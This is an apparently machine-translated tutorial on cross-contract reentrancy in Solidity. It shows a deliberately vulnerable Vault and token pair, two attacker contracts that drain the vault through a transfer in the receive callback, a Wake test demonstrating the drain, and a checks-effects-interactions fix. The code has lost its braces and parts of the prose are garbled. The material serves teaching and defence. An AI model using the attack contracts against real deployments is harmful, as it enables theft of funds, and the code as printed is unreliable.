In this research paper, we review how cross-contract reentrancy attacks work, examples of attacks, and guidance on how to prevent cross-contract reentrancy attacks.
Previously we covered single function reentrancy and cross function reentrancy attacks. The previous vulnerabilities were easy to find because all you had to do was check if a value was updated by an external call, or if it was not supposed to be updated.
What is a cross-contract reentrancy attack?
Cross-contract reentrancy attacks use multiple smart contracts to exploit vulnerabilities. The code for cross-contract reentrancy attacks is more complex because it uses multiple contracts, and therefore needs to discover how values are updated in those contracts. Furthermore, ReentrancyGuard cannot prevent this type of attack.
Cross contract reentrancy attack example
This is an example of a contract that is vulnerable to cross-contract re-entry.
There is this CCRToken
Contract and Vault
Contract. CCRToken is a custom token of ERC20 and Vault exchanges: ETH
and CCRToken
. Vault
department store ETH
.
as you see Vault
Contracts all functions that a user-callable function has. nonReentrancy
.
Therefore, it is not possible to perform single-function reentry. Also, transfer
Function for reentrant intersection function Vault
contract. But similar transfer
The function is located at CCRToken
contract.
This is a token contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CCRToken is ERC20, Ownable
// (manager i.e. victim) is trusted, so only they can mint and burn token
constructor(address manager) ERC20("CCRToken", "CCRT") Ownable(manager)
// Only manager mint token
function mint(address to, uint256 amount) external onlyOwner
_mint(to, amount);
// Burn token
function burn(address from, uint256 amount) external onlyOwner
_burn(from, amount);
This is a vulnerable bolt contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable
CCRToken public customToken;
constructor() Ownable(msg.sender)
function setToken(address _customToken) external onlyOwner
customToken = CCRToken(_customToken);
function deposit() external payable nonReentrant
customToken.mint(msg.sender, msg.value); //eth to CCRT
function burnUser() internal
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
/**
* @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
* it uses other contracts and it has different features from just variables.
*/
function withdraw() external nonReentrant
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.callvalue: balance("");
// attacker calls transfer CCRT balance to another account in the callback function.
require(success, "Failed to send Ether");
burnUser();
The idea of the attack is similar to a cross-function reentrancy attack. The attacker backs out and there is an external function call, where all external functions in this contract can call the following, even if they are not reentrant. transfer
The features are as follows: CCRToken
contract.
Example of attack phase
The attack is carried out in: attack
Function. After calling attack
function.
- ~ call
deposit
Prepare for attacks with Bolt Contracts. - ~ call
withdraw
Invoke an external call to the attacker from the Vault contract.receive
function. - at
receive
The attacker calls the functiontransfer
Send ERC20 values from token contract.Attacker2
. - So now, the sum of those amounts is
Attacker
Balance andAttacker2
There are multiple tokens. - call
attacker2.send
To send token valueAttacker2
To the attacker
And you can repeat these steps until your vault is empty.
Attacker Contract
This is an attack contract.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./vault.sol";
contract Attacker1
Vault victim;
CCRToken ccrt;
Attacker2 attacker2;
uint256 amount = 1 ether;
/**
* @param _victim victim address
* @param _ccrt victim token ERC20 address
*/
constructor(address _victim, address _ccrt) payable
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
/**
* @notice Set attacker2 contract
* @param _attacker2 attacker colleague address
*/
function setattacker2(address _attacker2) public
attacker2 = Attacker2(_attacker2);
/**
* @notice Receive ether. the same amount of withdraw() but we can transfer the same amount to attacker2.
* Because burn balance of attacker1 after this function.
* @dev triggered by victim.withdraw()
*/
receive() external payable
ccrt.transfer(address(attacker2), msg.value);
/**
* @notice deposit and we can repeatedly withdraw.
*/
function attack() public
uint256 value = address(this).balance;
victim.depositvalue: value();
while(address(victim).balance >= amount)
victim.withdraw();
attacker2.send(address(this), value); //send ERC20 token that multiplied at recieve().
contract Attacker2
Vault victim;
CCRToken ccrt;
uint256 amount = 1 ether;
constructor(address _victim, address _ccrt)
victim = Vault(_victim);
ccrt = CCRToken(_ccrt);
/**
* @notice Just send ERC20 to the attacker
*/
function send(address _target, uint256 _amount) public
ccrt.transfer(_target, _amount);
Cross-contract reentrancy attack exploit case
This is more complicated than the previous example, but this is for deploying a contract and the most important step is in calling the attack function.
Distribute the bolts and tokens and set their addresses.
Likewise, initialize and call the attacker. attack
Attacker’s capabilities.
from wake.testing import *
from pytypes.contracts.crosscontractreentrancy.token import CCRToken
from pytypes.contracts.crosscontractreentrancy.vault import Vault
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker1
from pytypes.contracts.crosscontractreentrancy.attacker import Attacker2
@default_chain.connect()
def test_default():
print("---------------------Cross Contract Reentrancy---------------------")
victim = default_chain.accounts(0)
attacker = default_chain.accounts(1)
vault = Vault.deploy(from_=victim)
token = CCRToken.deploy( vault.address ,from_=victim)
vault.setToken(token.address)
vault.deposit(from_=victim, value="4 ether")
attacker_contract = Attacker1.deploy(vault.address, token.address, from_=attacker, value="1 ether")
attacker2_contract = Attacker2.deploy(vault.address, token.address, from_=attacker)
attacker_contract.setattacker2(attacker2_contract.address, from_=attacker)
print("Vault balance : ", vault.balance)
print("Attacker balace: ", attacker_contract.balance)
print("----------Attack----------")
tx = attacker_contract.attack(from_=attacker)
print(tx.call_trace)
print("Vault balance : ", vault.balance)
print("Attacker balance: ", attacker_contract.balance)
This is the output of wake. We can see that the Vault balance changed from 4 EHT to 0 ETH. The attacker balance changed from 1 ETH to 5 ETH.
How to prevent cross-contract reentrancy attacks
Re-entry guard
Simple reentrancy guards cannot prevent this attack.
CEI(Check-Effect-Interaction)
This is a simple solution because it eliminates the possibility of reentrancy attacks. This is the best way to prevent reentrancy attacks.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./token.sol";
contract Vault is ReentrancyGuard, Ownable
CCRToken public customToken;
constructor() Ownable(msg.sender)
function setToken(address _customToken) external onlyOwner
customToken = CCRToken(_customToken);
function deposit() external payable nonReentrant
customToken.mint(msg.sender, msg.value); //eth to CCRT
function burnUser() internal
customToken.burn(msg.sender, customToken.balanceOf(msg.sender));
/**
* @notice Vulnerable function. similary cross function reentrancy but it is harder to find.
* it uses other contracts and it has different features from just variables.
*/
function withdraw() external nonReentrant
uint256 balance = customToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
burnUser();
(bool success, ) = msg.sender.callvalue: balance("");
require(success, "Failed to send Ether");
conclusion
The main problem with cross-contract reentrancy is that ReentrancyGuard does not work. However, the problem is the same in that you should not use data that is in the middle of a function. If you have multiple contracts, the entry state is stored differently. If you remove this problem, the attack stops.
We have a reentrancy case Github repository that covers several types of reentrancy attacks, including attack cases, protocol-specific reentrancy, and prevention methods.